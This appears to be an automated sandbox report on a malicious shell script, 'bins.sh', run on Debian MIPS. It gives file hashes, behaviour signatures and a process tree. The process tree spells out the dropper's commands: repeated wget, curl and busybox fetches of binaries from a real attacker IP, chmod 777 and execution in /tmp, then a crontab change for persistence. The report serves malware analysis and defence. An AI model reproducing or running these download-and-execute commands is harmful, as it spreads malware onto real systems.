Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

7

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    150s
  • max time network
    89s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    25-11-2024 10:27

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9de3640d2c5d8a78acc69e96d0980c26

  • SHA1

    00142594773d5ffa756329d68b48ebe96a2812a4

  • SHA256

    09723b214a3fa63ddf017396e3b5a50c2ed1e15017c783844b128e8c332621d3

  • SHA512

    ceda825c49a3065bc8dd5224fe8fd82f379cc1d35d8c7243595cbe0d4e488b05149a90905f1a38bf8eb7df82edd254fe1efaea45dd1c5023becdac109d95c903

  • SSDEEP

    192:nY7Y/YQUYHzOQ9RKqq4B1qqjY7Y/YQUYH3:ROQDpz

Score
7/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:733
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:736
        • /usr/bin/wget
          wget http://216.126.231.240/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:758
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:759
        • /bin/chmod
          chmod 777 mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
          2⤵
          • File and Directory Permissions Modification
          PID:760
        • /tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
          ./mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:761
        • /bin/rm
          rm mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
          2⤵
          • System Network Configuration Discovery
          PID:763
        • /usr/bin/wget
          wget http://216.126.231.240/bins/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
          2⤵
          • Writes file to tmp directory
          PID:764
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:767
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
          2⤵
          • Writes file to tmp directory
          PID:781
        • /bin/chmod
          chmod 777 nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
          2⤵
          • File and Directory Permissions Modification
          PID:787
        • /tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
          ./nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
          2⤵
          • Executes dropped EXE
          PID:789
        • /bin/rm
          rm nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
          2⤵
            PID:792
          • /usr/bin/wget
            wget http://216.126.231.240/bins/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
            2⤵
            • Writes file to tmp directory
            PID:793
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:806
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
            2⤵
            • Writes file to tmp directory
            PID:818
          • /bin/chmod
            chmod 777 agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
            2⤵
            • File and Directory Permissions Modification
            PID:819
          • /tmp/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
            ./agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
            2⤵
            • Executes dropped EXE
            PID:820
          • /bin/rm
            rm agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
            2⤵
              PID:822
            • /usr/bin/wget
              wget http://216.126.231.240/bins/5li50R4Xs9y8jYTEDNpnPKKkBsmAaoBm9Y
              2⤵
              • Writes file to tmp directory
              PID:823
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/5li50R4Xs9y8jYTEDNpnPKKkBsmAaoBm9Y
              2⤵
              • Writes file to tmp directory
              PID:824
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/5li50R4Xs9y8jYTEDNpnPKKkBsmAaoBm9Y
              2⤵
              • Writes file to tmp directory
              PID:831
            • /bin/chmod
              chmod 777 5li50R4Xs9y8jYTEDNpnPKKkBsmAaoBm9Y
              2⤵
              • File and Directory Permissions Modification
              PID:837
            • /tmp/5li50R4Xs9y8jYTEDNpnPKKkBsmAaoBm9Y
              ./5li50R4Xs9y8jYTEDNpnPKKkBsmAaoBm9Y
              2⤵
              • Executes dropped EXE
              PID:838
            • /bin/rm
              rm 5li50R4Xs9y8jYTEDNpnPKKkBsmAaoBm9Y
              2⤵
                PID:842
              • /usr/bin/wget
                wget http://216.126.231.240/bins/R4FoCVRHTTEf9vCC8FlX1yNoXECbZkhGfg
                2⤵
                • Writes file to tmp directory
                PID:843
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/R4FoCVRHTTEf9vCC8FlX1yNoXECbZkhGfg
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:857
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/R4FoCVRHTTEf9vCC8FlX1yNoXECbZkhGfg
                2⤵
                • Writes file to tmp directory
                PID:862
              • /bin/chmod
                chmod 777 R4FoCVRHTTEf9vCC8FlX1yNoXECbZkhGfg
                2⤵
                • File and Directory Permissions Modification
                PID:863
              • /tmp/R4FoCVRHTTEf9vCC8FlX1yNoXECbZkhGfg
                ./R4FoCVRHTTEf9vCC8FlX1yNoXECbZkhGfg
                2⤵
                • Executes dropped EXE
                PID:864
              • /bin/rm
                rm R4FoCVRHTTEf9vCC8FlX1yNoXECbZkhGfg
                2⤵
                  PID:866
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Jp3ghehFGJP4OoFQctELIXO89roJq8Lk3J
                  2⤵
                  • Writes file to tmp directory
                  PID:867
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Jp3ghehFGJP4OoFQctELIXO89roJq8Lk3J
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:868
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Jp3ghehFGJP4OoFQctELIXO89roJq8Lk3J
                  2⤵
                  • Writes file to tmp directory
                  PID:869
                • /bin/chmod
                  chmod 777 Jp3ghehFGJP4OoFQctELIXO89roJq8Lk3J
                  2⤵
                  • File and Directory Permissions Modification
                  PID:870
                • /tmp/Jp3ghehFGJP4OoFQctELIXO89roJq8Lk3J
                  ./Jp3ghehFGJP4OoFQctELIXO89roJq8Lk3J
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:871
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:873
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:874
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:875
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:876
                    • /bin/rm
                      rm Jp3ghehFGJP4OoFQctELIXO89roJq8Lk3J
                      2⤵
                        PID:878
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/nEPNY5OTh7oPrz76vtzqPP6NJZ2ShoHAng
                        2⤵
                          PID:881
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/nEPNY5OTh7oPrz76vtzqPP6NJZ2ShoHAng
                          2⤵
                            PID:882
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/nEPNY5OTh7oPrz76vtzqPP6NJZ2ShoHAng
                            2⤵
                            • Writes file to tmp directory
                            PID:883
                          • /bin/chmod
                            chmod 777 nEPNY5OTh7oPrz76vtzqPP6NJZ2ShoHAng
                            2⤵
                            • File and Directory Permissions Modification
                            PID:884
                          • /tmp/nEPNY5OTh7oPrz76vtzqPP6NJZ2ShoHAng
                            ./nEPNY5OTh7oPrz76vtzqPP6NJZ2ShoHAng
                            2⤵
                            • Executes dropped EXE
                            PID:885
                          • /bin/rm
                            rm nEPNY5OTh7oPrz76vtzqPP6NJZ2ShoHAng
                            2⤵
                              PID:887
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/AhVH02jtvM29iimJZyk6Rc84KuYA7xhVFT
                              2⤵
                                PID:888

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            • /tmp/5li50R4Xs9y8jYTEDNpnPKKkBsmAaoBm9Y
                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              Download Submit

                            • /tmp/Jp3ghehFGJP4OoFQctELIXO89roJq8Lk3J
                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              Download Submit

                            • /tmp/R4FoCVRHTTEf9vCC8FlX1yNoXECbZkhGfg
                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              Download Submit

                            • /tmp/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              Download Submit

                            • /tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              Download Submit

                            • /tmp/nEPNY5OTh7oPrz76vtzqPP6NJZ2ShoHAng
                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              Download Submit

                            • /tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              Download Submit

                            • /var/spool/cron/crontabs/tmp.yLuqlj
                              Filesize

                              210B

                              MD5

                              7177e66f57fbfc8492f63bda677fde15

                              SHA1

                              0c104eac18257313b1394fda97e372c693d39f99

                              SHA256

                              2db589d841ccee377de608b19e00592bd5b9c9e2cffb016f76708bc8628053e2

                              SHA512

                              d1d2191b73be1c081636a42083de862fc5cf27afe890234a962179f57efefbfc68bca1180fa9d2ebcbf2940b97ce44ea125538fdb17808eb397669aacb4b586c

                              Download Submit